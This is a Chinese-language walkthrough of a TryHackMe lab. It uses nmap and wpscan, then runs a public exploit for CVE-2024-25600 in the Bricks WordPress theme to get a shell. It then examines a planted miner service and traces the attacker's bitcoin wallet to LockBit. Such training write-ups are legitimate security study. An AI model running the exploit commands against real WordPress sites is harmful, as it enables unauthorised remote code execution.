target:10.201.6.98 枚举
nmap -A 10.201.6.98
由于有一个名为“brick by brick”的WordPress站点,且这个房间的名称是brick,这很可能就是我们能找到漏洞的地方
所以让我们枚举WordPress
wpscan --url https://bricks.thm --disable-tls-checks
运行 tls-checks 会失败
这里又出现对brick的引用,让我们看看这个主题是否有漏洞
搜索 bricks 1.9.5 漏洞,你会发现一个RCE,并且在房间中可以看到RCE CVE作为关键字,所以这很可能是正确的路径
CVE
CVE-2024-25600 https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT 我使用了这个仓库中的代码
python CVE-2024-25600.py --url https://bricks.thm --threads 10
你还需要安装一些模块
然后我们可以得到第一个答案Shell> ls -la
total 260
drwxr-xr-x 7 apache apache 4096 Aug 9 12:34 .
drwxr-xr-x 3 root root 4096 Apr 2 2024 ..
-rw-r--r-- 1 apache apache 523 Apr 2 2024 .htaccess
-rw-r--r-- 1 root root 43 Apr 5 2024 650c844110baced87e1606453b93f22a.txt
-rw-r--r-- 1 apache apache 405 Apr 2 2024 index.php
drwxr-xr-x 7 apache apache 4096 Apr 12 2023 kod
-rw-r--r-- 1 apache apache 19915 Apr 4 2024 license.txt
drwxr-xr-x 15 apache apache 4096 Apr 2 2024 phpmyadmin
-rw-r--r-- 1 apache apache 7401 Apr 4 2024 readme.html
-rw-r--r-- 1 apache apache 7387 Apr 4 2024 wp-activate.php
drwxr-xr-x 9 apache apache 4096 Apr 2 2024 wp-admin
-rw-r--r-- 1 apache apache 351 Apr 2 2024 wp-blog-header.php
-rw-r--r-- 1 apache apache 2323 Apr 2 2024 wp-comments-post.php
-rw-r--r-- 1 apache apache 3012 Apr 4 2024 wp-config-sample.php
-rw-rw-rw- 1 apache apache 3288 Apr 2 2024 wp-config.php
drwxr-xr-x 6 apache apache 4096 Aug 9 12:34 wp-content
-rw-r--r-- 1 apache apache 5638 Apr 2 2024 wp-cron.php
drwxr-xr-x 30 apache apache 16384 Apr 4 2024 wp-includes
-rw-r--r-- 1 apache apache 2502 Apr 2 2024 wp-links-opml.php
-rw-r--r-- 1 apache apache 3927 Apr 2 2024 wp-load.php
-rw-r--r-- 1 apache apache 50917 Apr 4 2024 wp-login.php
-rw-r--r-- 1 apache apache 8525 Apr 2 2024 wp-mail.php
-rw-r--r-- 1 apache apache 28427 Apr 4 2024 wp-settings.php
-rw-r--r-- 1 apache apache 34385 Apr 2 2024 wp-signup.php
-rw-r--r-- 1 apache apache 4885 Apr 2 2024 wp-trackback.php
-rw-r--r-- 1 apache apache 3246 Apr 4 2024 xmlrpc.php
Shell> cat 650c844110baced87e1606453b93f22a.txt
THM{fl46_650c844110baced87e1606453b93f22a}
现在我们找到了第一个问题的答案 让我们继续第二个问题
Shell> systemctl | grep running
proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable File Formats File System Automount Point
acpid.path loaded active running ACPI Events Check
init.scope loaded active running System and Service Manager
session-c1.scope loaded active running Session c1 of user lightdm
accounts-daemon.service loaded active running Accounts Service
acpid.service loaded active running ACPI event daemon
atd.service loaded active running Deferred execution scheduler
avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack
cron.service loaded active running Regular background program processing daemon
cups-browsed.service loaded active running Make remote CUPS printers available locally
cups.service loaded active running CUPS Scheduler
dbus.service loaded active running D-Bus System Message Bus
[email protected] loaded active running Getty on tty1
httpd.service loaded active running LSB: starts Apache Web Server
irqbalance.service loaded active running irqbalance daemon
kerneloops.service loaded active running Tool to automatically collect and submit kernel crash signatures
lightdm.service loaded active running Light Display Manager
ModemManager.service loaded active running Modem Manager
multipathd.service loaded active running Device-Mapper Multipath Device Controller
mysqld.service loaded active running LSB: start and stop MySQL
networkd-dispatcher.service loaded active running Dispatcher daemon for systemd-networkd
NetworkManager.service loaded active running Network Manager
polkit.service loaded active running Authorization Manager
rsyslog.service loaded active running System Logging Service
rtkit-daemon.service loaded active running RealtimeKit Scheduling Policy Service
[email protected] loaded active running Serial Getty on ttyS0
snap.amazon-ssm-agent.amazon-ssm-agent.service loaded active running Service for snap application amazon-ssm-agent.amazon-ssm-agent
snapd.service loaded active running Snap Daemon
ssh.service loaded active running OpenBSD Secure Shell server
switcheroo-control.service loaded active running Switcheroo Control Proxy service
systemd-journald.service loaded active running Journal Service
systemd-logind.service loaded active running Login Service
systemd-networkd.service loaded active running Network Service
systemd-resolved.service loaded active running Network Name Resolution
systemd-timesyncd.service loaded active running Network Time Synchronization
systemd-udevd.service loaded active running udev Kernel Device Manager
ubuntu.service loaded active running TRYHACK3M
udisks2.service loaded active running Disk Manager
unattended-upgrades.service loaded active running Unattended Upgrades Shutdown
upower.service loaded active running Daemon for power management
[email protected] loaded active running User Manager for UID 1000
[email protected] loaded active running User Manager for UID 114
whoopsie.service loaded active running crash report submission daemon
wpa_supplicant.service loaded active running WPA supplicant
acpid.socket loaded active running ACPID Listen Socket
avahi-daemon.socket loaded active running Avahi mDNS/DNS-SD Stack Activation Socket
cups.socket loaded active running CUPS Scheduler
dbus.socket loaded active running D-Bus System Message Bus Socket
multipathd.socket loaded active running multipathd control socket
snapd.socket loaded active running Socket activation for snappy daemon
syslog.socket loaded active running Syslog Socket
systemd-journald-audit.socket loaded active running Journal Audit Socket
systemd-journald-dev-log.socket loaded active running Journal Socket (/dev/log)
systemd-journald.socket loaded active running Journal Socket
systemd-networkd.socket loaded active running Network Service Netlink Socket
systemd-udevd-control.socket loaded active running udev Control Socket
systemd-udevd-kernel.socket loaded active running udev Kernel Socket
由于我找不到第二个问题的答案,我转向第三个问题并发现它是
ubuntu.service loaded active running TRYHACK3M
然后我用这个找到了第三个问题的答案
Shell> systemctl cat ubuntu.service
# /etc/systemd/system/ubuntu.service
[Unit]
Description=TRYHACK3M
[Service]
Type=simple
ExecStart=/lib/NetworkManager/nm-inet-dialog
Restart=on-failure
[Install]
WantedBy=multi-user.target
接下来我们需要找到矿工实例 由于
ExecStart=/lib/NetworkManager/nm-inet-dialog
让我们查看 ==/lib/NetworkManager== 目录
其中 inet.conf 包含以下内容
现在我们知道 inet.conf 是实例,让我们找到关联的钱包地址
strings /lib/NetworkManager/inet.conf | grep -E '[13][a-km-zA-HJ-NP-Z1-9]{25,34}|4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}'
我们可以运行这个命令来找到ID
它是加密的,所以我们需要解码它
echo 5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c70555a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a6255313459316873636b35366247315a4d30453159556447
6130355864486c6157454a3557544a564e453959556e4a685246497a5932355363303948526a4a6b52464a7a546d706b65466c525054303d | xxd -r -p | base64 -d
bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa
这就是钱包ID
https://www.blockchain.com/explorer
然后我们可以在该网站中搜索这个ID以找到大额收款人
然后我们可以在谷歌中搜索接收者 ==32pTjxTNi7snk8sodrgfmdKao3DEn1nVJM==
正如我们所看到的,这个团伙是lockbit